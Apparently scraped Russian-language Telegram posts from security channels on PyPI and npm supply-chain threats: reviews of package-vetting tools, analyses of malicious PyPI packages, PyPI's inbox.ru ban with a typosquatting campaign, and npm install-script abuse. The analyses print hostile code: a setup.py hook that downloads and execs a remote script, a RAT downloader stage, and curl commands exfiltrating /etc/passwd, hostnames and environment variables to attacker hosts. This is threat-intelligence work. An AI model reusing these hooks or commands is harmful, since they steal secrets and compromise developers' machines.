Вроде бы из названия понятно, что пакетный менеджер как-то соберет зависимости, но не установит их. Но что будет с пакетами, содержащими preinstall- и postinstall-логику
У dry-run гипотетически возможны два варианта поведения:
1. Пытается установить все пакеты во временное виртуальное окружение, запуская все установочные скрипты. Для SCFW это плохо, так как подавляющий пласт троянов исполняются как раз в install-time.
2. Игнорирует/ругается на/выкидывает исключение на скрипты. Это более безопасный, но страдающий в плане полноты зависимостей вариант.
Давайте поставим
yandex-baobab-api
— этот пакет вызывает исключение при попытке его установить. Итог:(testvenv) $ scfw run pip install yandex-baobab-api
Collecting yandex-baobab-api
Using cached yandex-baobab-api-66.0.3.tar.gz (1.1 kB)
Preparing metadata (setup.py) ... done
Building wheels for collected packages: yandex-baobab-api
Building wheel for yandex-baobab-api (setup.py) ... error
error: subprocess-exited-with-error
...
File "/tmp/pip-install-.../yandex-baobab-api_.../setup.py", line 7, in run
raise RuntimeError("You are trying to install a stub package yandex-baobab-api. Maybe you are using the wrong pypi?")
RuntimeError: You are trying to install a stub package yandex-baobab-api. Maybe you are using the wrong pypi?
[end of output]
note: This error originates from a subprocess, and is likely not a problem with pip.
ERROR: Failed building wheel for yandex-baobab-api
Running setup.py clean for yandex-baobab-api
Failed to build yandex-baobab-api
ERROR: Failed to build installable wheels for some pyproject.toml based projects (yandex-baobab-api)
Получается, что dry-run в случае с Python-пакетами запускает код из setup.py, вместе со всей вредоносной install-time-активностью
SCFW задумывается как утилита для пользователей, которые хотят убедиться в безопасности выполняемой pip/poetry/npm-команды и запускают команду на своем компьютере без обязательной изоляции окружения. К сожалению, с данной задачей она не справится. Лучше взять
osv-scanner
, обернуть в контейнер и сканировать зависимости с его помощью.Хочу напомнить важное правило: do your own research. Будьте любознательны, даже если разработчик решения убеждает, что всё под контролем
#pypi #npm #ti #ресерч
@disasm_me_ch
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥8😁3🤬1
pipask — finally, a secure firewall? 😎
Недавно я писал о проекте Supply-Chain Firewall, задача которого блокировать установку вредоносных пакетов. К сожалению, в текущей реализации оказался не очень-то и безопасным.
Да, он проверяет наличие пакетов в базах Datadog и OSV.dev, но:
— В случае с pip/poetry делает это по факту установки, а значит вся вредоносная активность отработает.🐈
— Так как используются базы фидов, такой firewall неэффективен против не занесенных туда угроз.
Нашел упоминание другого проекта, который выглядит по функционалу более мощно, но работает только с пакетным менеджером pip — pipask. Он заявляется как drop-in замена pip, которая поддерживает только команды
— Отозван (yanked) ли пакет.В PyPI можно мягко скрыть релиз, если в нем, например, найдены уязвимости, что не позволит его скачать без прямого указания версии.
— Как давно были созданы релиз, который является целью установки, и сам проект в принципе.
— Есть ли известные уязвимости в базе OSV.dev.
— Какова репутация связанного с проектом GitHub/GitLab-репозитория.
— Какой статус проекта указал разработчик (Planning, Pre-Alpha, Alpha, Beta, Inactive будут причиной для тревоги, Production/Stable и Mature будут ок);
— Сколько скачиваний пакета было за последний месяц по данным PyPI Stats (до 100 будут красным знаком, до 5000 будут причиной тревоги);
— Какая лицензия проекта.
Для транзитивных зависимостей ведётся проверка только на известные уязвимости в базе OSV, без прочих репутационных.😎
Если pipask найдет проблемы с пакетом, он их подсветит и спросит решение пользователя, стоит ли его устанавливать:
Кстати, в🐈 .
———
Данное решение сейчас не поиспользуешь на проде, так как😊
Блин, а я попробую использовать pipask у себя на тачке, выглядит годно!
#pypi #supplychain #ti #ресерч
@disasm_me_ch
Недавно я писал о проекте Supply-Chain Firewall, задача которого блокировать установку вредоносных пакетов. К сожалению, в текущей реализации оказался не очень-то и безопасным.
Да, он проверяет наличие пакетов в базах Datadog и OSV.dev, но:
— В случае с pip/poetry делает это по факту установки, а значит вся вредоносная активность отработает.
— Так как используются базы фидов, такой firewall неэффективен против не занесенных туда угроз.
Нашел упоминание другого проекта, который выглядит по функционалу более мощно, но работает только с пакетным менеджером pip — pipask. Он заявляется как drop-in замена pip, которая поддерживает только команды
install
/download
/list
. pipask
имеет целый арсенал проверок:— Отозван (yanked) ли пакет.
— Как давно были созданы релиз, который является целью установки, и сам проект в принципе.
— Есть ли известные уязвимости в базе OSV.dev.
— Какова репутация связанного с проектом GitHub/GitLab-репозитория.
— Какой статус проекта указал разработчик (Planning, Pre-Alpha, Alpha, Beta, Inactive будут причиной для тревоги, Production/Stable и Mature будут ок);
— Сколько скачиваний пакета было за последний месяц по данным PyPI Stats (до 100 будут красным знаком, до 5000 будут причиной тревоги);
— Какая лицензия проекта.
Для транзитивных зависимостей ведётся проверка только на известные уязвимости в базе OSV, без прочих репутационных.
Если pipask найдет проблемы с пакетом, он их подсветит и спросит решение пользователя, стоит ли его устанавливать:
$ pipask install yandex-baobab-api
✔️ Resolving dependencies to install 0:00:00
! Checking repository popularity 0:00:00
✖️ Checking package download stats 0:00:00
! Checking package age 0:00:00
✔️ Checking known vulnerabilities 0:00:00
✔️ Checking release metadata 0:00:00
! Checking package license 0:00:00
Package check results:
[yandex-baobab-api==66.0.3]
! No repository URL found
✖️ Only 8 downloads from PyPI in the last month
! The release is older than a year: 472 days old
✔️ No known vulnerabilities found
✔️ No development status classifiers
! No license found in PyPI metadata - you may need to check manually
? Would you like to continue installing package(s)? [y/n]:
Кстати, в
pip
против install-time
троянов есть режим --only-binary
:all:
— он не позволит установиться пакету, если у него есть только source distribution
, требующий предварительной компиляции. Правда это может поломать пайплайны pipask
и scfw
, тоже могут работать в этом режиме, так как пробрасывают параметры в pip
.———
Данное решение сейчас не поиспользуешь на проде, так как
pipask
пока не поддерживает возможность игнорировать предупреждения. Но как замена pip-у в рамках ручного скачивания пакетов — огонь. Для того же jupyter labs
будет замечательно Блин, а я попробую использовать pipask у себя на тачке, выглядит годно!
#pypi #supplychain #ti #ресерч
@disasm_me_ch
Please open Telegram to view this post
VIEW IN TELEGRAM
GitHub
GitHub - feynmanix/pipask: Safer python package installs with audit and consent 𝘣𝘦𝘧𝘰𝘳𝘦 install
Safer python package installs with audit and consent 𝘣𝘦𝘧𝘰𝘳𝘦 install - feynmanix/pipask
1 10 4😁2
Немного Python-рутины. Slavic vibes
Предыдущий пост цикла.
Дано: автор на PyPI с ником
В ранней версии код был POC-ом, может даже показаться, что это багбаунти-/пентест-активность (рис.1). Обратите внимание на русскоязычный комментарий💃
В версии 0.1.3 комментарий был убран, а нагрузка изменилась:
Следующий стейдж выглядит так:
Данный код хорошо говорит сам за себя — будет скачан и запущен ратник (RAT, Remote Access Tool, троян с функционалом передачи управления над устройством жертвы злоумышленнику). Стейдж ратника получить не удалось, увы🚶♀️
В последнее время среди троянов всё реже можно увидеть код, написанный человеческими руками. Хорошо, что в 2025 всё ещё существует лучик надежды🐈
#ti #pypi
@disasm_me_ch
Предыдущий пост цикла.
Дано: автор на PyPI с ником
protocol.cpp
, автор пакета justanything
.В ранней версии код был POC-ом, может даже показаться, что это багбаунти-/пентест-активность (рис.1). Обратите внимание на русскоязычный комментарий
В версии 0.1.3 комментарий был убран, а нагрузка изменилась:
class CustomInstallCommand(install):
def run(self):
try:
response = requests.get("https://[REDACTED1]/main.py")
response.raise_for_status()
exec(response.text)
except requests.RequestException as e:
print(f"Failed to fetch or execute script: {e}")
super().run()
Следующий стейдж выглядит так:
def huinya():
try:
ssilka = 'https://[REDACTED2]/1.txt'
ratka = "1.txt"
huizhopaseks = requests.get(ssilka)
with open(ratka,"wb") as file: file.write(huizhopaseks.content)
os.startfile(ratka)
except Exception:
pass
user = getpass.getuser()
hidden_path = Path.home() / ".dildo"
with open(hidden_path, "w") as f:
f.write(f"Infected! User: {user}\n")
huinya()
Данный код хорошо говорит сам за себя — будет скачан и запущен ратник (RAT, Remote Access Tool, троян с функционалом передачи управления над устройством жертвы злоумышленнику). Стейдж ратника получить не удалось, увы
В последнее время среди троянов всё реже можно увидеть код, написанный человеческими руками. Хорошо, что в 2025 всё ещё существует лучик надежды
#ti #pypi
@disasm_me_ch
Please open Telegram to view this post
VIEW IN TELEGRAM
😁13 5 2 1
Что такое инструменты для CTF? Это обман, чтобы собрать классы ⛓
Сверхразум
Понятно, что данный минимальный функционал можно набросать за 5-10 минут и самим, но библиотека, которая потенциально будет обрастать всё большим функционалом, имеет право на существование.
Однако в пакете есть дополнительный функционал: если запустить его как основную точку входа (
🟢 Проверка, что в программа не находится под отладчиком.
🟢 Распаковка нагрузки: парсит текстовый файл из своего проекта на предмет строк с началом
🟢 Сохранение результата в
В версии 0.1.0 закодированной нагрузкой является инструмент
Недолго музыка играла: пакет отправили в карантин через 12 часов после появления первого релиза🥰
Схожих проектов никто в PyPI в последние дни не публиковал, так что будем следить за развитием событий🐱
#ti #pypi
@disasm_me_ch
Сверхразум
kibanaly
в воскресенье опубликовал пакет hashidf
, который выглядит как вполне себе нормальное начало тулинга для соревнований по кибербезопасности: тут есть rot13, операции над бейсами, хэширование.Понятно, что данный минимальный функционал можно набросать за 5-10 минут и самим, но библиотека, которая потенциально будет обрастать всё большим функционалом, имеет право на существование.
Однако в пакете есть дополнительный функционал: если запустить его как основную точку входа (
python -m hashidf
), а не просто импортировать, то отработает дополнительная логика:SEGMENT_
, затем декодирует их base64, склеивает и передает на декомпрессию в zlib.%TEMP%/<случайные 12 символов>.exe
, сокрытие файла через hidden-атрибут (подробнее) и запуск. Это типичные действия троянов под виндой.В версии 0.1.0 закодированной нагрузкой является инструмент
putty
(VT), который запустится в безоконном режиме без параметров. В 0.1.2 белиберда)Недолго музыка играла: пакет отправили в карантин через 12 часов после появления первого релиза
Схожих проектов никто в PyPI в последние дни не публиковал, так что будем следить за развитием событий
#ti #pypi
@disasm_me_ch
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🌚5🤔1👾1 1 1 1
Forwarded from ESCalator
Страсти вокруг PyPI: 🪰⮕🐘?
На прошлой неделе CNews выпустили новость: "Россиян погнали из сообщества Python. Пока только избранных, но критерии отбора до предела странные". В ней выясняется, что Python Package Index (PyPI), крупнейшее хранилище пакетов Python, запретила регистрацию новых пользователей с указанием почты на домене inbox.ru.
Блокировка россиян в различных комьюнити — животрепещущая тема. Её процитировали и другие издания.
@banksta:
@imaxairu:
Команда Supply Chain Security активно сотрудничает с PyPI в области обнаружения троянов. Мы решили провалидировать, были ли действия администрации репозитория обоснованными.
#ti #pypi #pyanalysis #scs
@ptescalator
Пост 1/4
Продолжение⬇️
На прошлой неделе CNews выпустили новость: "Россиян погнали из сообщества Python. Пока только избранных, но критерии отбора до предела странные". В ней выясняется, что Python Package Index (PyPI), крупнейшее хранилище пакетов Python, запретила регистрацию новых пользователей с указанием почты на домене inbox.ru.
В официальном заявлении сказано, что с почтовых ящиков inbox.ru пришла волна спама – пользователи с такой почтой создали 250 профилей и добавили к ним свыше полутора тысяч проектов, которые якобы «обманывают пользователей и представляют угрозу безопасности» (leading to end-user confusion, abuse of resources, and potential security issues).
Блокировка россиян в различных комьюнити — животрепещущая тема. Её процитировали и другие издания.
@banksta:
Россиян изгоняют из сообщества программистов Python. Им запретили пользоваться репозиторием PyPI с пакетами для Python. Ограничения коснулись только тех, кто создает новый аккаунт с привязкой почты на inboxru и тех, кто хочет добавить такую почту в уже существующий профиль. Домен принадлежит Mailru.
@imaxairu:
Россиянам запретили пользоваться репозиторием PyPI с пакетами для Python
Ограничения коснулись только тех, кто создает новый аккаунт с привязкой почты на inbox .ru и тех, кто хочет добавить такую почту в уже существующий профиль
Домен принадлежит Mail .ru. На другие домены компании лимиты пока не распространяются
Команда Supply Chain Security активно сотрудничает с PyPI в области обнаружения троянов. Мы решили провалидировать, были ли действия администрации репозитория обоснованными.
#ti #pypi #pyanalysis #scs
@ptescalator
Пост 1/4
Продолжение
Please open Telegram to view this post
VIEW IN TELEGRAM
zoom.cnews.ru
Россиян погнали из сообщества Python. Пока только избранных, но критерии отбора до предела странные
Россиянам запретили пользоваться репозиторием PyPI с пакетами для Python. Ограничения коснулись только тех, кто создает новый аккаунт с привязкой почты на inbox.ru и тех, кто хочет добавить такую почту в уже существующий профиль. Домен принадлежит Mail.ru.…
Forwarded from ESCalator
Даём оценку официальным заявлениям
CNews ссылаются на статью в блоге PyPI, выпущенную 15 июля 2025. В ней говорится, что, руководствуясь практикой блокировки мусорных почтовых доменов, они закрывают регистрацию новых пользователей в Python Package Index с использованием почты на домене
Схожее решение администрация PyPI выносила и год назад, 16 июня 2024, в отношении доменов
Следует уточнить, что для скачивания пакетов не требуется регистрация. Учётная запись нужна для публикации своих проектов.
PyPI приводит статистику:
По нашему мнению не существует легитимного сценария, в котором одному пользователю потребуется столько учёток. Создавать большое количество проектов имеет смысл в борьбе с неймсквоттингом (на примере Яндекса), но для этого достаточно и одной учётки.
Обращаем внимание на последний абзац поста на PyPI (ниже перевод):
Давайте разберемся с кампанией.
#ti #pypi #pyanalysis #scs
@ptescalator
Пост 2/4
Продолжение⬇️
CNews ссылаются на статью в блоге PyPI, выпущенную 15 июля 2025. В ней говорится, что, руководствуясь практикой блокировки мусорных почтовых доменов, они закрывают регистрацию новых пользователей в Python Package Index с использованием почты на домене
inbox.ru
.Схожее решение администрация PyPI выносила и год назад, 16 июня 2024, в отношении доменов
outlook.com
и hotmail.com
(принадлежат Microsoft) — они стали излюбленным решением для злоумышленников из-за простоты массовой регистрации доменов.Следует уточнить, что для скачивания пакетов не требуется регистрация. Учётная запись нужна для публикации своих проектов.
PyPI приводит статистику:
9 июня: появилась первая учётная запись кампании.
11 июня: за 3 часа было создано 46 учётных записей.
24 июня: за 4 часа было создано 207 учётных записей.
С 26 июня по 7 июля ими было создано 1525 проектов:
2025-06-26 9
2025-06-27 295
2025-06-28 39
2025-06-29 119
2025-06-30 740
2025-07-01 249
2025-07-02 46
2025-07-10 16
2025-07-11 12
По нашему мнению не существует легитимного сценария, в котором одному пользователю потребуется столько учёток. Создавать большое количество проектов имеет смысл в борьбе с неймсквоттингом (на примере Яндекса), но для этого достаточно и одной учётки.
Обращаем внимание на последний абзац поста на PyPI (ниже перевод):
Надеемся, что мы сможем отменить это решение в будущем, когда будем более уверены в способности этого провайдера электронной почты предотвращать злоупотребления. Если вы работаете в этом провайдере, пожалуйста, напишите нам по адресу [email protected], чтобы обсудить это решение.
Давайте разберемся с кампанией.
#ti #pypi #pyanalysis #scs
@ptescalator
Пост 2/4
Продолжение
Please open Telegram to view this post
VIEW IN TELEGRAM
blog.pypi.org
Prohibiting inbox.ru email domain registrations - The Python Package Index Blog
We have prohibited new registrations of accounts using inbox.ru email domains.
Forwarded from ESCalator
Характер кампании
Изучим проекты, выпустившие свой первый релиз в рамках действия кампании 26 июня — 7 июля, захватив слева и справа дополнительное время для наглядности: с 12 июня по 15 июля.
Разработчик, публикуя проект, может по желанию оставить email для обратной связи. В этот промежуток было опубликовано всего 4 пакета с явным указанием почты на
График 1 (см. ниже) демонстрирует, принял ли решение разработчик указать email в первом релизе своего проекта.
Наблюдаем:
1. Снижение общей активности разработчиков в выходные (видны двухдневные ямы, чередующиеся с пятидневными буднями).
2. Всплески пакетов без email, выпущенные 27 июня (378), 30 июня (662), 1 июля (509).
Второе наблюдение соотносится со статистикой PyPI: 27 июня выпущено 295 пакетов на
В рамках периода активности есть 1403 проекта без email с одинаковым описанием: "Minimal package created automatically" — и версией 0.0.1 (график 2). Они совпадают с периодом активности кампании, которой были недовольны администраторы PyPI.
Названия пакетов из этой пачки — явный тайпсквоттинг (атака на то, что разработчик опечатается в названии пакета при установке или поведется на хорошее название — и поставит себе троян):
🟢 🐱
🟢
🟢
🟢
🟢
🟢
🟢
🟢 🍉
🟢
🟢
🟢
🟢 💀
🟢
🟢
🟢
🟢
🟢
🟢
Некоторые из названий тагретят разработчиков российских компаний:
🟢 🐱
🟢 💀
🟢
🟢
🟢 😺
🟢
На этих названиях становится понятно, что администрация PyPI пресекла кампанию, от которой могли пострадать наши соотечественники🥺
#ti #pypi #pyanalysis #scs
@ptescalator
Пост 3/4
Продолжение⬇️
Изучим проекты, выпустившие свой первый релиз в рамках действия кампании 26 июня — 7 июля, захватив слева и справа дополнительное время для наглядности: с 12 июня по 15 июля.
Разработчик, публикуя проект, может по желанию оставить email для обратной связи. В этот промежуток было опубликовано всего 4 пакета с явным указанием почты на
@inbox.ru
, все легитимные.График 1 (см. ниже) демонстрирует, принял ли решение разработчик указать email в первом релизе своего проекта.
Наблюдаем:
1. Снижение общей активности разработчиков в выходные (видны двухдневные ямы, чередующиеся с пятидневными буднями).
2. Всплески пакетов без email, выпущенные 27 июня (378), 30 июня (662), 1 июля (509).
Второе наблюдение соотносится со статистикой PyPI: 27 июня выпущено 295 пакетов на
@inbox.ru
, 30 июня — 740, 1 июля — 249, с поправкой на часовые пояса.В рамках периода активности есть 1403 проекта без email с одинаковым описанием: "Minimal package created automatically" — и версией 0.0.1 (график 2). Они совпадают с периодом активности кампании, которой были недовольны администраторы PyPI.
Названия пакетов из этой пачки — явный тайпсквоттинг (атака на то, что разработчик опечатается в названии пакета при установке или поведется на хорошее название — и поставит себе троян):
avoid
common-io
win32crypt
win32com
pywintypes
jsap
webdav2
arbuzmining
requirements-cpu-txt
requirements-cuda-txt
dl-pivot-pandas
steambaselib
catboost-spark
numpynumpy
antlr4-runtime
celery-telegram
exllama-kernels
booking-api
Некоторые из названий тагретят разработчиков российских компаний:
youla-spark-session
ipy-kaspersky
vkads
vkpay
vkplay-sync
vkplay-metrics
На этих названиях становится понятно, что администрация PyPI пресекла кампанию, от которой могли пострадать наши соотечественники
#ti #pypi #pyanalysis #scs
@ptescalator
Пост 3/4
Продолжение
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from ESCalator
Оправдано ли внесение почты
В настоящее время при создании почтового ящика на
Вероятно немаловажную роль играет простота автоматизации и более простой обход эвристик на подозрительные действия, раз злоумышленник смог управлять 207 почтами в рамках 4 часов.
Зарегистрированных на PyPI разработчиков, привязавших почту
Подводя итог
Ограничение создания новых учётных записей с использованием почты на
Почтовые домены от Microsoft также год назад попали под блокировку, это дополнительно уменьшает вероятность, что в этих действиях выражается какое-либо предвзятое отношение.
Получился опенсорсный myth busters👀
#ti #pypi #pyanalysis #scs
@ptescalator
Пост 4/4
@inbox.ru
в чёрный список?В настоящее время при создании почтового ящика на
@inbox.ru
требуется номер телефона или учётная запись VK. Есть упоминание, что два года назад можно было обойтись без почты. Также можно создать до 10 анонимных ящиков к своей основной почте в рамках официального функционала mail.ru.Вероятно немаловажную роль играет простота автоматизации и более простой обход эвристик на подозрительные действия, раз злоумышленник смог управлять 207 почтами в рамках 4 часов.
Зарегистрированных на PyPI разработчиков, привязавших почту
@inbox.ru
, "репрессии" не касаются — были заблокированы только "пользователи", участвовавшие в кампании. Нельзя создавать новые учётные записи или привязывать эти ящики к существующим аккаунтам.Подводя итог
Ограничение создания новых учётных записей с использованием почты на
@inbox.ru
— закономерная реакция на кампанию, в рамках которой пара сотен учётных записей, зарегистрированных за короткое время, начинает творить беспредел.Почтовые домены от Microsoft также год назад попали под блокировку, это дополнительно уменьшает вероятность, что в этих действиях выражается какое-либо предвзятое отношение.
Получился опенсорсный myth busters
#ti #pypi #pyanalysis #scs
@ptescalator
Пост 4/4
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from ESCalator
Node JS. Вредоносная активность на стадии установки
В рамках исследования действий злоумышленников в npm (Node Package Manager, основного репозитория JS-кода) мы решили одним глазком заглянуть в это направление.
В пакетах JavaScript существует механизм запуска скриптов на этапе установки. Он описывается в конфигурационном файле
Значения являются командами для системного интерпретатора, будь то sh, bash, fish или даже виндовый cmd — что стоит по умолчанию, то и будет использовано😎
Злоумышленники идут двумя путями в рамках эксплуатации возможности запустить свою нагрузку во время установки:
🫥 Запустить js-код
🫥 Исполнить команду системным интерпретатором:
Если пост соберет 1000 сердечек🥰 В следующий раз расскажем о разнообразии нагрузок-скриптов на этапе установки JS-пакетов.
#ti #scs #pyanalysis
@ptescalator
В рамках исследования действий злоумышленников в npm (Node Package Manager, основного репозитория JS-кода) мы решили одним глазком заглянуть в это направление.
В пакетах JavaScript существует механизм запуска скриптов на этапе установки. Он описывается в конфигурационном файле
package.json
в секции scripts
:{
"name": "<from-ptescalator-with-love>",
"version": "1.0.0",
"description": "Example config of package.json for demonstration-purposes",
"main": "hello.js",
"scripts": {
"preinstall": "echo \"I will be run at pre-install stage\"",
"install": "echo \"I will be run at install stage\"",
"postinstall": "echo \"I will be run at post-install stage\""
}
}
Значения являются командами для системного интерпретатора, будь то sh, bash, fish или даже виндовый cmd — что стоит по умолчанию, то и будет использовано
Злоумышленники идут двумя путями в рамках эксплуатации возможности запустить свою нагрузку во время установки:
[email protected]
, postinstall:node index.js
[email protected]
, postinstall:node cli/setup-security.js
[email protected]
, preinstall, передача hostname
:echo "No tests" && curl "https://[REDACTED].net/?NPM=$(hostname)&<template>"
[email protected]
, preinstall, кража /etc/passwd
и получение hostname
:sh -c 'curl -X POST -d "user=$(whoami)&host=$(hostname)&passwd=$(cat /etc/passwd | base64)" https://webhook-test.com/[REDACTED]'
[email protected]
, postinstall, кража переменных окружения:curl -X POST https://[REDACTED].oastify.com --data "$(env)"
[email protected]
, preinstall, кража переменных окружения, /etc/passwd
, hostname
и имени пользователя:curl --data-urlencode "info=$(hostname && whoami && cat /proc/self/environ && cat /etc/passwd)" https://[REDACTED].oast.iss.one"
#ti #scs #pyanalysis
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM